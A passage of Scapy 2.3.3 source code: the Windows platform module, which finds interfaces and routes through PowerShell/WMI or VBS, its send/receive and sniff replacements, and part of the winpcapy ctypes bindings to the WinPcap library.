scapy-2.3.3/scapy/arch/windows/000077500000000000000000000000001300136037300163605ustar00rootroot00000000000000scapy-2.3.3/scapy/arch/windows/__init__.py000077500000000000000000000400241300136037300204740ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Customizations needed to support Microsoft Windows. """ from __future__ import with_statement import os,re,sys,socket,time, itertools import subprocess as sp from glob import glob import tempfile from scapy.config import conf,ConfClass from scapy.error import Scapy_Exception,log_loading,log_runtime from scapy.utils import atol, itom, inet_aton, inet_ntoa, PcapReader from scapy.base_classes import Gen, Net, SetGen import scapy.plist as plist from scapy.data import MTU, ETHER_BROADCAST, ETH_P_ARP conf.use_pcap = False conf.use_dnet = False conf.use_winpcapy = True #hot-patching socket for missing variables on Windows import socket if not hasattr(socket, 'IPPROTO_IPIP'): socket.IPPROTO_IPIP=4 if not hasattr(socket, 'IPPROTO_AH'): socket.IPPROTO_AH=51 if not hasattr(socket, 'IPPROTO_ESP'): socket.IPPROTO_ESP=50 from scapy.arch import pcapdnet from scapy.arch.pcapdnet import * WINDOWS = True def _exec_query_ps(cmd, fields): """Execute a PowerShell query""" ps = sp.Popen([conf.prog.powershell] + cmd + ['|', 'select %s' % ', '.join(fields), '|', 'fl'], stdout=sp.PIPE, universal_newlines=True) l=[] for line in ps.stdout: if not line.strip(): #skip empty lines continue l.append(line.split(':', 1)[1].strip()) if len(l) == len(fields): yield l l=[] def _vbs_exec_code(code): tmpfile = tempfile.NamedTemporaryFile(suffix=".vbs", delete=False) tmpfile.write(code) tmpfile.close() ps = sp.Popen([conf.prog.cscript, tmpfile.name], stdout=sp.PIPE, stderr=open(os.devnull), universal_newlines=True) for _ in xrange(3): # skip 3 first lines ps.stdout.readline() for line in ps.stdout: yield line os.unlink(tmpfile.name) def _vbs_get_iface_guid(devid): try: devid = str(int(devid) + 1) guid = _vbs_exec_code("""WScript.Echo CreateObject("WScript.Shell").RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards\\%s\\ServiceName") """ % devid).__iter__().next() if guid.startswith('{') and guid.endswith('}\n'): return guid[:-1] except StopIteration: pass # Some names differ between VBS and PS ## None: field will not be returned under VBS _VBS_WMI_FIELDS = { "Win32_NetworkAdapter": { "InterfaceIndex": "Index", "InterfaceDescription": "Description", "GUID": "DeviceID", } } _VBS_WMI_OUTPUT = { "Win32_NetworkAdapter": { "DeviceID": _vbs_get_iface_guid, } } def _exec_query_vbs(cmd, fields): """Execute a query using VBS. Currently Get-WmiObject queries are supported. """ assert len(cmd) == 2 and cmd[0] == "Get-WmiObject" fields = [_VBS_WMI_FIELDS.get(cmd[1], {}).get(fld, fld) for fld in fields] values = _vbs_exec_code("""Set wmi = GetObject("winmgmts:") Set lines = wmi.InstancesOf("%s") On Error Resume Next Err.clear For Each line in lines %s Next """ % (cmd[1], "\n ".join("WScript.Echo line.%s" % fld for fld in fields if fld is not None))).__iter__() while True: yield [None if fld is None else _VBS_WMI_OUTPUT.get(cmd[1], {}).get(fld, lambda x: x)( values.next().strip() ) for fld in fields] def exec_query(cmd, fields): """Execute a system query using PowerShell if it is available, and using VBS/cscript as a fallback. """ if conf.prog.powershell is None: return _exec_query_vbs(cmd, fields) return _exec_query_ps(cmd, fields) def _where(filename, dirs=None, env="PATH"): """Find file in current dir or system path""" if dirs is None: dirs = [] if not isinstance(dirs, list): dirs = [dirs] if glob(filename): return filename paths = [os.curdir] + os.environ[env].split(os.path.pathsep) + dirs for path in paths: for match in glob(os.path.join(path, filename)): if match: return os.path.normpath(match) raise IOError("File not found: %s" % filename) def win_find_exe(filename, installsubdir=None, env="ProgramFiles"): """Find executable in current dir, system path or given ProgramFiles subdir""" for fn in [filename, filename+".exe"]: try: if installsubdir is None: path = _where(fn) else: path = _where(fn, dirs=[os.path.join(os.environ[env], installsubdir)]) except IOError: path = filename else: break return path class WinProgPath(ConfClass): _default = "" # We try some magic to find the appropriate executables pdfreader = win_find_exe("AcroRd32") psreader = win_find_exe("gsview32.exe", "Ghostgum/gsview") dot = win_find_exe("dot", "ATT/Graphviz/bin") tcpdump = win_find_exe("windump") tcpreplay = win_find_exe("tcpreplay") display = _default hexedit = win_find_exe("hexer") wireshark = win_find_exe("wireshark", "wireshark") powershell = win_find_exe( "powershell", installsubdir="System32\\WindowsPowerShell\\v1.0", env="SystemRoot" ) cscript = win_find_exe("cscript", installsubdir="System32", env="SystemRoot") conf.prog = WinProgPath() if conf.prog.powershell == "powershell": conf.prog.powershell = None class PcapNameNotFoundError(Scapy_Exception): pass import platform def is_interface_valid(iface): if "guid" in iface and iface["guid"]: return True return False def get_windows_if_list(): if platform.release()=="post2008Server" or platform.release()=="8": # This works only starting from Windows 8/2012 and up. For older Windows another solution is needed query = exec_query(['Get-NetAdapter'], ['Name', 'InterfaceIndex', 'InterfaceDescription', 'InterfaceGuid', 'MacAddress']) else: query = exec_query(['Get-WmiObject', 'Win32_NetworkAdapter'], ['Name', 'InterfaceIndex', 'InterfaceDescription', 'GUID', 'MacAddress']) return [ iface for iface in (dict(zip(['name', 'win_index', 'description', 'guid', 'mac'], line)) for line in query) if is_interface_valid(iface) ] def get_ip_from_name(ifname, v6=False): for descr, ipaddr in exec_query(['Get-WmiObject', 'Win32_NetworkAdapterConfiguration'], ['Description', 'IPAddress']): if descr == ifname.strip(): return ipaddr.split(",", 1)[v6].strip('{}').strip() class NetworkInterface(object): """A network interface of your local host""" def __init__(self, data=None): self.name = None self.ip = None self.mac = None self.pcap_name = None self.description = None self.data = data if data is not None: self.update(data) def update(self, data): """Update info about network interface according to given dnet dictionary""" self.name = data["name"] self.description = data['description'] self.win_index = data['win_index'] self.guid = data['guid'] # Other attributes are optional self._update_pcapdata() try: self.ip = socket.inet_ntoa(get_if_raw_addr(data['guid'])) except (KeyError, AttributeError, NameError): pass try: if not self.ip: self.ip=get_ip_from_name(data['name']) except (KeyError, AttributeError, NameError) as e: print e try: self.mac = data['mac'] except KeyError: pass def _update_pcapdata(self): for i in winpcapy_get_if_list(): if i.endswith(self.data['guid']): self.pcap_name = i return raise PcapNameNotFoundError def __repr__(self): return "<%s %s %s>" % (self.__class__.__name__, self.name, self.guid) from UserDict import UserDict class NetworkInterfaceDict(UserDict): """Store information about network interfaces and convert between names""" def load_from_powershell(self): for i in get_windows_if_list(): try: interface = NetworkInterface(i) self.data[interface.guid] = interface except (KeyError, PcapNameNotFoundError): pass if len(self.data) == 0: log_loading.warning("No match between your pcap and windows network interfaces found. " "You probably won't be able to send packets. " "Deactivating unneeded interfaces and restarting Scapy might help." "Check your winpcap and powershell installation, and access rights.") def dev_from_name(self, name): """Return the first pcap device name for a given Windows device name. """ for iface in self.itervalues(): if iface.name == name: return iface raise ValueError("Unknown network interface %r" % name) def dev_from_pcapname(self, pcap_name): """Return Windows device name for given pcap device name.""" for iface in self.itervalues(): if iface.pcap_name == pcap_name: return iface raise ValueError("Unknown pypcap network interface %r" % pcap_name) def dev_from_index(self, if_index): """Return interface name from interface index""" for devname, iface in self.items(): if iface.win_index == str(if_index): return iface raise ValueError("Unknown network interface index %r" % if_index) def show(self, resolve_mac=True): """Print list of available network interfaces in human readable form""" print "%s %s %s %s" % ("INDEX".ljust(5), "IFACE".ljust(35), "IP".ljust(15), "MAC") for iface_name in sorted(self.data): dev = self.data[iface_name] mac = dev.mac if resolve_mac: mac = conf.manufdb._resolve_MAC(mac) print "%s %s %s %s" % (str(dev.win_index).ljust(5), str(dev.name).ljust(35), str(dev.ip).ljust(15), mac) IFACES = NetworkInterfaceDict() IFACES.load_from_powershell() def pcapname(dev): """Return pypcap device name for given interface or libdnet/Scapy device name. """ if type(dev) is NetworkInterface: return dev.pcap_name try: return IFACES.dev_from_name(dev).pcap_name except ValueError: # pcap.pcap() will choose a sensible default for sniffing if # iface=None return None def dev_from_pcapname(pcap_name): """Return libdnet/Scapy device name for given pypcap device name""" return IFACES.dev_from_pcapname(pcap_name) def dev_from_index(if_index): """Return Windows adapter name for given Windows interface index""" return IFACES.dev_from_index(if_index) def show_interfaces(resolve_mac=True): """Print list of available network interfaces""" return IFACES.show(resolve_mac) _orig_open_pcap = pcapdnet.open_pcap pcapdnet.open_pcap = lambda iface,*args,**kargs: _orig_open_pcap(pcapname(iface),*args,**kargs) _orig_get_if_raw_hwaddr = pcapdnet.get_if_raw_hwaddr pcapdnet.get_if_raw_hwaddr = lambda iface, *args, **kargs: ( ARPHDR_ETHER, IFACES.dev_from_pcapname(iface.pcap_name).mac.replace(':', '').decode('hex') ) get_if_raw_hwaddr = pcapdnet.get_if_raw_hwaddr def read_routes_xp(): # The InterfaceIndex in Win32_IP4RouteTable does not match the # InterfaceIndex in Win32_NetworkAdapter under some platforms # (namely Windows XP): let's try an IP association routes = [] partial_routes = [] # map local IP addresses to interfaces local_addresses = dict((iface.ip, iface) for iface in IFACES.itervalues()) iface_indexes = {} for line in exec_query(['Get-WmiObject', 'Win32_IP4RouteTable'], ['Name', 'Mask', 'NextHop', 'InterfaceIndex']): if line[2] in local_addresses: iface = local_addresses[line[2]] # This gives us an association InterfaceIndex <-> interface iface_indexes[line[3]] = iface routes.append((atol(line[0]), atol(line[1]), "0.0.0.0", iface, iface.ip)) else: partial_routes.append((atol(line[0]), atol(line[1]), line[2], line[3])) for dst, mask, gw, ifidx in partial_routes: if ifidx in iface_indexes: iface = iface_indexes[ifidx] routes.append((dst, mask, gw, iface, iface.ip)) return routes def read_routes_7(): routes=[] for line in exec_query(['Get-WmiObject', 'win32_IP4RouteTable'], ['Name', 'Mask', 'NextHop', 'InterfaceIndex']): try: iface = dev_from_index(line[3]) except ValueError: continue routes.append((atol(line[0]), atol(line[1]), line[2], iface, iface.ip)) return routes def read_routes(): routes = [] release = platform.release() try: if release in ["post2008Server", "8"]: routes = read_routes_post2008() elif release == "XP": routes = read_routes_xp() else: routes = read_routes_7() except Exception as e: log_loading.warning("Error building scapy routing table : %s"%str(e)) else: if not routes: log_loading.warning("No default IPv4 routes found. Your Windows release may no be supported and you have to enter your routes manually") return routes def read_routes_post2008(): # XXX TODO: FIX THIS XXX routes = [] if_index = '(\d+)' dest = '(\d+\.\d+\.\d+\.\d+)/(\d+)' next_hop = '(\d+\.\d+\.\d+\.\d+)' metric_pattern = "(\d+)" delim = "\s+" # The columns are separated by whitespace netstat_line = delim.join([if_index, dest, next_hop, metric_pattern]) pattern = re.compile(netstat_line) # This works only starting from Windows 8/2012 and up. For older Windows another solution is needed ps = sp.Popen([conf.prog.powershell, 'Get-NetRoute', '-AddressFamily IPV4', '|', 'select ifIndex, DestinationPrefix, NextHop, RouteMetric'], stdout = sp.PIPE, universal_newlines = True) stdout, stdin = ps.communicate() for l in stdout.split('\n'): match = re.search(pattern,l) if match: try: iface = dev_from_index(match.group(1)) except: continue # try: # intf = pcapdnet.dnet.intf().get_dst(pcapdnet.dnet.addr(type=2, addrtxt=dest)) # except OSError: # log_loading.warning("Building Scapy's routing table: Couldn't get outgoing interface for destination %s" % dest) # continue routes.append((atol(match.group(2)), itom(int(match.group(3))), match.group(4), iface, iface.ip)) return routes def read_routes6(): return [] if conf.interactive_shell != 'ipython': try: __IPYTHON__ except NameError: try: import readline console = readline.GetOutputFile() except (ImportError, AttributeError): log_loading.info("Could not get readline console. Will not interpret ANSI color codes.") else: conf.readfunc = readline.rl.readline orig_stdout = sys.stdout sys.stdout = console def get_working_if(): try: # return the interface associated with the route with smallest # mask (route by default if it exists) return min(read_routes(), key=lambda x: x[1])[3] except ValueError: # no route return LOOPBACK_NAME conf.iface = get_working_if() scapy-2.3.3/scapy/arch/windows/compatibility.py000066400000000000000000000167551300136037300216210ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Instanciate part of the customizations needed to support Microsoft Windows. """ from scapy.arch.consts import LOOPBACK_NAME from scapy.config import conf,ConfClass def sndrcv(pks, pkt, timeout = 2, inter = 0, verbose=None, chainCC=0, retry=0, multi=0): if not isinstance(pkt, Gen): pkt = SetGen(pkt) if verbose is None: verbose = conf.verb from scapy.sendrecv import debug debug.recv = plist.PacketList([],"Unanswered") debug.sent = plist.PacketList([],"Sent") debug.match = plist.SndRcvList([]) nbrecv=0 ans = [] # do it here to fix random fields, so that parent and child have the same all_stimuli = tobesent = [p for p in pkt] notans = len(tobesent) hsent={} for i in tobesent: h = i.hashret() if h in hsent: hsent[h].append(i) else: hsent[h] = [i] if retry < 0: retry = -retry autostop=retry else: autostop=0 while retry >= 0: found=0 if timeout < 0: timeout = None pid=1 try: if WINDOWS or pid == 0: try: try: i = 0 if verbose: print "Begin emission:" for p in tobesent: pks.send(p) i += 1 time.sleep(inter) if verbose: print "Finished to send %i packets." % i except SystemExit: pass except KeyboardInterrupt: pass except: log_runtime.exception("--- Error sending packets") log_runtime.info("--- Error sending packets") finally: try: sent_times = [p.sent_time for p in all_stimuli if p.sent_time] except: pass if WINDOWS or pid > 0: # Timeout starts after last packet is sent (as in Unix version) if timeout: stoptime = time.time()+timeout else: stoptime = 0 remaintime = None try: try: while 1: if stoptime: remaintime = stoptime-time.time() if remaintime <= 0: break r = pks.recv(MTU) if r is None: continue ok = 0 h = r.hashret() if h in hsent: hlst = hsent[h] for i, sentpkt in enumerate(hlst): if r.answers(sentpkt): ans.append((sentpkt, r)) if verbose > 1: os.write(1, "*") ok = 1 if not multi: del hlst[i] notans -= 1 else: if not hasattr(sentpkt, '_answered'): notans -= 1 sentpkt._answered = 1 break if notans == 0 and not multi: break if not ok: if verbose > 1: os.write(1, ".") nbrecv += 1 if conf.debug_match: debug.recv.append(r) except KeyboardInterrupt: if chainCC: raise finally: if WINDOWS: for p,t in zip(all_stimuli, sent_times): p.sent_time = t finally: pass remain = list(itertools.chain(*hsent.itervalues())) if multi: remain = [p for p in remain if not hasattr(p, '_answered')] if autostop and len(remain) > 0 and len(remain) != len(tobesent): retry = autostop tobesent = remain if len(tobesent) == 0: break retry -= 1 if conf.debug_match: debug.sent=plist.PacketList(remain[:],"Sent") debug.match=plist.SndRcvList(ans[:]) #clean the ans list to delete the field _answered if (multi): for s,r in ans: if hasattr(s, '_answered'): del(s._answered) if verbose: print "\nReceived %i packets, got %i answers, remaining %i packets" % (nbrecv+len(ans), len(ans), notans) return plist.SndRcvList(ans),plist.PacketList(remain,"Unanswered") import scapy.sendrecv scapy.sendrecv.sndrcv = sndrcv def sniff(count=0, store=1, offline=None, prn = None, lfilter=None, L2socket=None, timeout=None, *arg, **karg): """Sniff packets sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets Select interface to sniff by setting conf.iface. Use show_interfaces() to see interface names. count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) offline: pcap file to read packets from, instead of sniffing them timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket """ c = 0 if offline is None: log_runtime.info('Sniffing on %s' % conf.iface) if L2socket is None: L2socket = conf.L2listen s = L2socket(type=ETH_P_ALL, *arg, **karg) else: s = PcapReader(offline) lst = [] if timeout is not None: stoptime = time.time()+timeout remain = None while 1: try: if timeout is not None: remain = stoptime-time.time() if remain <= 0: break try: p = s.recv(MTU) except PcapTimeoutElapsed: continue if p is None: break if lfilter and not lfilter(p): continue if store: lst.append(p) c += 1 if prn: r = prn(p) if r is not None: print r if 0 < count <= c: break except KeyboardInterrupt: break s.close() return plist.PacketList(lst,"Sniffed") import scapy.sendrecv scapy.sendrecv.sniff = sniff scapy-2.3.3/scapy/arch/winpcapy.py000077500000000000000000000677041300136037300171130ustar00rootroot00000000000000#------------------------------------------------------------------------------- # Name: winpcapy.py # # Author: Massimo Ciani # # Created: 01/09/2009 # Copyright: (c) Massimo Ciani 2009 # #------------------------------------------------------------------------------- from ctypes import * from ctypes.util import find_library import sys WIN32=False HAVE_REMOTE=False if sys.platform.startswith('win'): WIN32=True HAVE_REMOTE=True if WIN32: SOCKET = c_uint _lib=CDLL('wpcap.dll') else: SOCKET = c_int _lib_name = find_library('pcap') if not _lib_name: raise OSError("Cannot fine libpcap.so library") _lib=CDLL(_lib_name) ## ## misc ## u_short = c_ushort bpf_int32 = c_int u_int = c_int bpf_u_int32 = u_int pcap = c_void_p pcap_dumper = c_void_p u_char = c_ubyte FILE = c_void_p STRING = c_char_p class bpf_insn(Structure): _fields_=[("code",c_ushort), ("jt",c_ubyte), ("jf",c_ubyte), ("k",bpf_u_int32)] class bpf_program(Structure): pass bpf_program._fields_ = [('bf_len', u_int), ('bf_insns', POINTER(bpf_insn))] class bpf_version(Structure): _fields_=[("bv_major",c_ushort), ("bv_minor",c_ushort)] class timeval(Structure): pass timeval._fields_ = [('tv_sec', c_long), ('tv_usec', c_long)] ## sockaddr is used by pcap_addr. ## For exapmle if sa_family==socket.AF_INET then we need cast ## with sockaddr_in if WIN32: class sockaddr(Structure): _fields_ = [("sa_family", c_ushort), ("sa_data",c_ubyte * 14)] class sockaddr_in(Structure): _fields_ = [("sin_family", c_ushort), ("sin_port", c_uint16), ("sin_addr", 4 * c_ubyte)] class sockaddr_in6(Structure): _fields_ = [("sin6_family", c_ushort), ("sin6_port", c_uint16), ("sin6_flowinfo", c_uint32), ("sin6_addr", 16 * c_ubyte), ("sin6_scope", c_uint32)] else: class sockaddr(Structure): _fields_ = [("sa_len", c_ubyte), ("sa_family",c_ubyte), ("sa_data",c_ubyte * 14)] class sockaddr_in(Structure): _fields_ = [("sin_len", c_ubyte), ("sin_family", c_ubyte), ("sin_port", c_uint16), ("sin_addr", 4 * c_ubyte), ("sin_zero", 8 * c_char)] class sockaddr_in6(Structure): _fields_ = [("sin6_len", c_ubyte), ("sin6_family", c_ubyte), ("sin6_port", c_uint16), ("sin6_flowinfo", c_uint32), ("sin6_addr", 16 * c_ubyte), ("sin6_scope", c_uint32)] class sockaddr_dl(Structure): _fields_ = [("sdl_len", c_ubyte), ("sdl_family", c_ubyte), ("sdl_index", c_ushort), ("sdl_type", c_ubyte), ("sdl_nlen", c_ubyte), ("sdl_alen", c_ubyte), ("sdl_slen", c_ubyte), ("sdl_data", 46 * c_ubyte)] ## ## END misc ## ## ## Data Structures ## ## struct pcap_file_header ## Header of a libpcap dump file. class pcap_file_header(Structure): _fields_ = [('magic', bpf_u_int32), ('version_major', u_short), ('version_minor', u_short), ('thiszone', bpf_int32), ('sigfigs', bpf_u_int32), ('snaplen', bpf_u_int32), ('linktype', bpf_u_int32)] ## struct pcap_pkthdr ## Header of a packet in the dump file. class pcap_pkthdr(Structure): _fields_ = [('ts', timeval), ('caplen', bpf_u_int32), ('len', bpf_u_int32)] ## struct pcap_stat ## Structure that keeps statistical values on an interface. class pcap_stat(Structure): pass ### _fields_ list in Structure is final. ### We need a temp list _tmpList = [("ps_recv", c_uint), ("ps_drop", c_uint), ("ps_ifdrop", c_uint)] if HAVE_REMOTE: _tmpList.append(("ps_capt",c_uint)) _tmpList.append(("ps_sent",c_uint)) _tmpList.append(("ps_netdrop",c_uint)) pcap_stat._fields_=_tmpList ## struct pcap_addr ## Representation of an interface address, used by pcap_findalldevs(). class pcap_addr(Structure): pass pcap_addr._fields_ = [('next', POINTER(pcap_addr)), ('addr', POINTER(sockaddr)), ('netmask', POINTER(sockaddr)), ('broadaddr', POINTER(sockaddr)), ('dstaddr', POINTER(sockaddr))] ## struct pcap_if ## Item in a list of interfaces, used by pcap_findalldevs(). class pcap_if(Structure): pass pcap_if._fields_ = [('next', POINTER(pcap_if)), ('name', STRING), ('description', STRING), ('addresses', POINTER(pcap_addr)), ('flags', bpf_u_int32)] ## ## END Data Structures ## ## ## Defines ## ##define PCAP_VERSION_MAJOR 2 # Major libpcap dump file version. PCAP_VERSION_MAJOR = 2 ##define PCAP_VERSION_MINOR 4 # Minor libpcap dump file version. PCAP_VERSION_MINOR = 4 ##define PCAP_ERRBUF_SIZE 256 # Size to use when allocating the buffer that contains the libpcap errors. PCAP_ERRBUF_SIZE = 256 ##define PCAP_IF_LOOPBACK 0x00000001 # interface is loopback PCAP_IF_LOOPBACK = 1 ##define MODE_CAPT 0 # Capture mode, to be used when calling pcap_setmode(). MODE_CAPT = 0 ##define MODE_STAT 1 # Statistical mode, to be used when calling pcap_setmode(). MODE_STAT = 1 ## ## END Defines ## ## ## Typedefs ## #typedef int bpf_int32 (already defined) # 32-bit integer #typedef u_int bpf_u_int32 (already defined) # 32-bit unsigned integer #typedef struct pcap pcap_t # Descriptor of an open capture instance. This structure is opaque to the user, that handles its content through the functions provided by wpcap.dll. pcap_t = pcap #typedef struct pcap_dumper pcap_dumper_t # libpcap savefile descriptor. pcap_dumper_t = pcap_dumper #typedef struct pcap_if pcap_if_t # Item in a list of interfaces, see pcap_if. pcap_if_t = pcap_if #typedef struct pcap_addr pcap_addr_t # Representation of an interface address, see pcap_addr. pcap_addr_t = pcap_addr ## ## END Typedefs ## # values for enumeration 'pcap_direction_t' #pcap_direction_t = c_int # enum ## ## Unix-compatible Functions ## These functions are part of the libpcap library, and therefore work both on Windows and on Linux. ## #typedef void(* pcap_handler )(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # Prototype of the callback function that receives the packets. ## This one is defined from programmer pcap_handler=CFUNCTYPE(None,POINTER(c_ubyte),POINTER(pcap_pkthdr),POINTER(c_ubyte)) #pcap_t * pcap_open_live (const char *device, int snaplen, int promisc, int to_ms, char *ebuf) # Open a live capture from the network. pcap_open_live = _lib.pcap_open_live pcap_open_live.restype = POINTER(pcap_t) pcap_open_live.argtypes = [STRING, c_int, c_int, c_int, STRING] #pcap_t * pcap_open_dead (int linktype, int snaplen) # Create a pcap_t structure without starting a capture. pcap_open_dead = _lib.pcap_open_dead pcap_open_dead.restype = POINTER(pcap_t) pcap_open_dead.argtypes = [c_int, c_int] #pcap_t * pcap_open_offline (const char *fname, char *errbuf) # Open a savefile in the tcpdump/libpcap format to read packets. pcap_open_offline = _lib.pcap_open_offline pcap_open_offline.restype = POINTER(pcap_t) pcap_open_offline.argtypes = [STRING, STRING] #pcap_dumper_t * pcap_dump_open (pcap_t *p, const char *fname) # Open a file to write packets. pcap_dump_open = _lib.pcap_dump_open pcap_dump_open.restype = POINTER(pcap_dumper_t) pcap_dump_open.argtypes = [POINTER(pcap_t), STRING] #int pcap_setnonblock (pcap_t *p, int nonblock, char *errbuf) # Switch between blocking and nonblocking mode. pcap_setnonblock = _lib.pcap_setnonblock pcap_setnonblock.restype = c_int pcap_setnonblock.argtypes = [POINTER(pcap_t), c_int, STRING] #int pcap_getnonblock (pcap_t *p, char *errbuf) # Get the "non-blocking" state of an interface. pcap_getnonblock = _lib.pcap_getnonblock pcap_getnonblock.restype = c_int pcap_getnonblock.argtypes = [POINTER(pcap_t), STRING] #int pcap_findalldevs (pcap_if_t **alldevsp, char *errbuf) # Construct a list of network devices that can be opened with pcap_open_live(). pcap_findalldevs = _lib.pcap_findalldevs pcap_findalldevs.restype = c_int pcap_findalldevs.argtypes = [POINTER(POINTER(pcap_if_t)), STRING] #void pcap_freealldevs (pcap_if_t *alldevsp) # Free an interface list returned by pcap_findalldevs(). pcap_freealldevs = _lib.pcap_freealldevs pcap_freealldevs.restype = None pcap_freealldevs.argtypes = [POINTER(pcap_if_t)] #char * pcap_lookupdev (char *errbuf) # Return the first valid device in the system. pcap_lookupdev = _lib.pcap_lookupdev pcap_lookupdev.restype = STRING pcap_lookupdev.argtypes = [STRING] #int pcap_lookupnet (const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf) # Return the subnet and netmask of an interface. pcap_lookupnet = _lib.pcap_lookupnet pcap_lookupnet.restype = c_int pcap_lookupnet.argtypes = [STRING, POINTER(bpf_u_int32), POINTER(bpf_u_int32), STRING] #int pcap_dispatch (pcap_t *p, int cnt, pcap_handler callback, u_char *user) # Collect a group of packets. pcap_dispatch = _lib.pcap_dispatch pcap_dispatch.restype = c_int pcap_dispatch.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)] #int pcap_loop (pcap_t *p, int cnt, pcap_handler callback, u_char *user) # Collect a group of packets. pcap_loop = _lib.pcap_loop pcap_loop.restype = c_int pcap_loop.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)] #u_char * pcap_next (pcap_t *p, struct pcap_pkthdr *h) # Return the next available packet. pcap_next = _lib.pcap_next pcap_next.restype = POINTER(u_char) pcap_next.argtypes = [POINTER(pcap_t), POINTER(pcap_pkthdr)] #int pcap_next_ex (pcap_t *p, struct pcap_pkthdr **pkt_header, const u_char **pkt_data) # Read a packet from an interface or from an offline capture. pcap_next_ex = _lib.pcap_next_ex pcap_next_ex.restype = c_int pcap_next_ex.argtypes = [POINTER(pcap_t), POINTER(POINTER(pcap_pkthdr)), POINTER(POINTER(u_char))] #void pcap_breakloop (pcap_t *) # set a flag that will force pcap_dispatch() or pcap_loop() to return rather than looping. pcap_breakloop = _lib.pcap_breakloop pcap_breakloop.restype = None pcap_breakloop.argtypes = [POINTER(pcap_t)] #int pcap_sendpacket (pcap_t *p, u_char *buf, int size) # Send a raw packet. pcap_sendpacket = _lib.pcap_sendpacket pcap_sendpacket.restype = c_int #pcap_sendpacket.argtypes = [POINTER(pcap_t), POINTER(u_char), c_int] pcap_sendpacket.argtypes = [POINTER(pcap_t), c_void_p, c_int] #void pcap_dump (u_char *user, const struct pcap_pkthdr *h, const u_char *sp) # Save a packet to disk. pcap_dump = _lib.pcap_dump pcap_dump.restype = None pcap_dump.argtypes = [POINTER(pcap_dumper_t), POINTER(pcap_pkthdr), POINTER(u_char)] #long pcap_dump_ftell (pcap_dumper_t *) # Return the file position for a "savefile". pcap_dump_ftell = _lib.pcap_dump_ftell pcap_dump_ftell.restype = c_long pcap_dump_ftell.argtypes = [POINTER(pcap_dumper_t)] #int pcap_compile (pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask) # Compile a packet filter, converting an high level filtering expression (see Filtering expression syntax) in a program that can be interpreted by the kernel-level filtering engine. pcap_compile = _lib.pcap_compile pcap_compile.restype = c_int pcap_compile.argtypes = [POINTER(pcap_t), POINTER(bpf_program), STRING, c_int, bpf_u_int32] #int pcap_compile_nopcap (int snaplen_arg, int linktype_arg, struct bpf_program *program, char *buf, int optimize, bpf_u_int32 mask) # Compile a packet filter without the need of opening an adapter. This function converts an high level filtering expression (see Filtering expression syntax) in a program that can be interpreted by the kernel-level filtering engine. pcap_compile_nopcap = _lib.pcap_compile_nopcap pcap_compile_nopcap.restype = c_int pcap_compile_nopcap.argtypes = [c_int, c_int, POINTER(bpf_program), STRING, c_int, bpf_u_int32] #int pcap_setfilter (pcap_t *p, struct bpf_program *fp) # Associate a filter to a capture. pcap_setfilter = _lib.pcap_setfilter pcap_setfilter.restype = c_int pcap_setfilter.argtypes = [POINTER(pcap_t), POINTER(bpf_program)] #void pcap_freecode (struct bpf_program *fp) # Free a filter. pcap_freecode = _lib.pcap_freecode pcap_freecode.restype = None pcap_freecode.argtypes = [POINTER(bpf_program)] #int pcap_datalink (pcap_t *p) # Return the link layer of an adapter. pcap_datalink = _lib.pcap_datalink pcap_datalink.restype = c_int pcap_datalink.argtypes = [POINTER(pcap_t)] #int pcap_list_datalinks (pcap_t *p, int **dlt_buf) # list datalinks pcap_list_datalinks = _lib.pcap_list_datalinks pcap_list_datalinks.restype = c_int #pcap_list_datalinks.argtypes = [POINTER(pcap_t), POINTER(POINTER(c_int))] #int pcap_set_datalink (pcap_t *p, int dlt) # Set the current data link type of the pcap descriptor to the type specified by dlt. -1 is returned on failure. pcap_set_datalink = _lib.pcap_set_datalink pcap_set_datalink.restype = c_int pcap_set_datalink.argtypes = [POINTER(pcap_t), c_int] #int pcap_datalink_name_to_val (const char *name) # Translates a data link type name, which is a DLT_ name with the DLT_ removed, to the corresponding data link type value. The translation is case-insensitive. -1 is returned on failure. pcap_datalink_name_to_val = _lib.pcap_datalink_name_to_val pcap_datalink_name_to_val.restype = c_int pcap_datalink_name_to_val.argtypes = [STRING] #const char * pcap_datalink_val_to_name (int dlt) # Translates a data link type value to the corresponding data link type name. NULL is returned on failure. pcap_datalink_val_to_name = _lib.pcap_datalink_val_to_name pcap_datalink_val_to_name.restype = STRING pcap_datalink_val_to_name.argtypes = [c_int] #const char * pcap_datalink_val_to_description (int dlt) # Translates a data link type value to a short description of that data link type. NULL is returned on failure. pcap_datalink_val_to_description = _lib.pcap_datalink_val_to_description pcap_datalink_val_to_description.restype = STRING pcap_datalink_val_to_description.argtypes = [c_int] #int pcap_snapshot (pcap_t *p) # Return the dimension of the packet portion (in bytes) that is delivered to the application. pcap_snapshot = _lib.pcap_snapshot pcap_snapshot.restype = c_int pcap_snapshot.argtypes = [POINTER(pcap_t)] #int pcap_is_swapped (pcap_t *p) # returns true if the current savefile uses a different byte order than the current system. pcap_is_swapped = _lib.pcap_is_swapped pcap_is_swapped.restype = c_int pcap_is_swapped.argtypes = [POINTER(pcap_t)] #int pcap_major_version (pcap_t *p) # return the major version number of the pcap library used to write the savefile. pcap_major_version = _lib.pcap_major_version pcap_major_version.restype = c_int pcap_major_version.argtypes = [POINTER(pcap_t)] #int pcap_minor_version (pcap_t *p) # return the minor version number of the pcap library used to write the savefile. pcap_minor_version = _lib.pcap_minor_version pcap_minor_version.restype = c_int pcap_minor_version.argtypes = [POINTER(pcap_t)] #FILE * pcap_file (pcap_t *p) # Return the standard stream of an offline capture. 